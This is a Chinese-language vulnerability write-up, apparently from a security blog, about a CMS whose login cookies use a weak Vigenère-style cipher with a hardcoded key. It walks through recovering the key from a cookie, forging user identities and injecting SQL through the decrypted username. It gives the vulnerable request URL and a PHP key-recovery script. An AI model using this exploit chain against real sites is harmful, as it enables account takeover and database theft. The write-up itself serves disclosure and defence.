弱加密算法的悲剧 伪造任意用户登录 注入 一系列问题 /public/class_dbmysql.php行144
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); //看到这应该懂了 $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }
很明显用的维吉尼亚密码算法。 这个算法。。。key 原始文本 结果 3个值互相交换位置都可以运算 只要知道其中两个就能算出第三个,跟异或差不多。 来看看cookie的处理: /interface/member.php 行109 $this->fun->setcookie('ecisp_member_username', $this->fun->eccode($memberread['username'], 'ENCODE', db_pscode)); $this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
可以看到 ecisp_member_info这个cookie是由 userid alias integral mcid email等等等等组合起来的 这里先不看后面那么多 因为密钥生成的时候指定长度为20~40 前面这些已经足够我们发挥了 通过注册部分sql语句可以知道 integral默认为0 mcid默认为1 至于alias没有看到初始化的地方,反正这里进sql是null。所以ecisp_member_info的前面部分应该是 userid||0|1|email 密钥最长有40位,所以这里我们注册账号的时候填一个很长的email function inajaxlist(){ ……省略…… $ec_member_username = $this->member_cookieview('username'); if ($ec_member_username) { $reMem = $this->get_member($ec_member_username); $this->pagetemplate->assign('member', $reMem); } member_cookieview()取到username之后丢给了get_member()
先看member_cookieview() /public/class_connector.php 行401 function member_cookieview($keyword = false) { $retrunstr = array(); $retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode); $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode)); list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info; $retrunstr['userid'] = intval($retrunstr['userid']); $retrunstr['integral'] = intval($retrunstr['integral']); $retrunstr['mcid'] = intval($retrunstr['mcid']); return !$keyword ? $retrunstr : $retrunstr[$keyword]; }
从cookie中取出之后直接return了 没过滤 再看get_member() public/class_connector.php 行2141 function get_member($username = null, $userid = 0, $returnname = null) { $db_table = db_prefix . 'member'; $db_where = empty($username) ? " WHERE userid=$userid" : " WHERE username='$username'"; //username直接进查询 $db_sql = "SELECT * FROM $db_table $db_where"; $rsLIST = $this->db->fetch_first($db_sql); if (!empty($returnname)) { return $rsLIST[$returnname]; } else { return $rsLIST; } }
总的流程大概就是 cookie->eccode解密->sql; 整流程就通了 用获得的key来加密sql注入语句 这里就加了个单引号 23.jpg 修改cookie ecisp_member_username值为生成的字符串 访问/index.php?ac=messmain&at=ajaxlist&did=1&ismess=1 $text = ""; //原文 $cookie = ""; //cookie $dict = "0123456789abcdef"; $bincookie = base64_decode($cookie); for ($j=0; $j < strlen($text); $j++) { for ($k=0; $k < 16; $k++) { if( chr( ord($bincookie[$j]) - ord($dict[$k]) ) == $text[$j] ){ echo $dict[$k]; } } }
修复方案: 换个算法吧 |
-
上一篇: 微擎-微信公众平台自助引擎系统整站重装+SQL注入
下一篇: 从c#角度看万能密码SQL注入漏洞 - 网站安全 - 自学
还没有人抢沙发呢~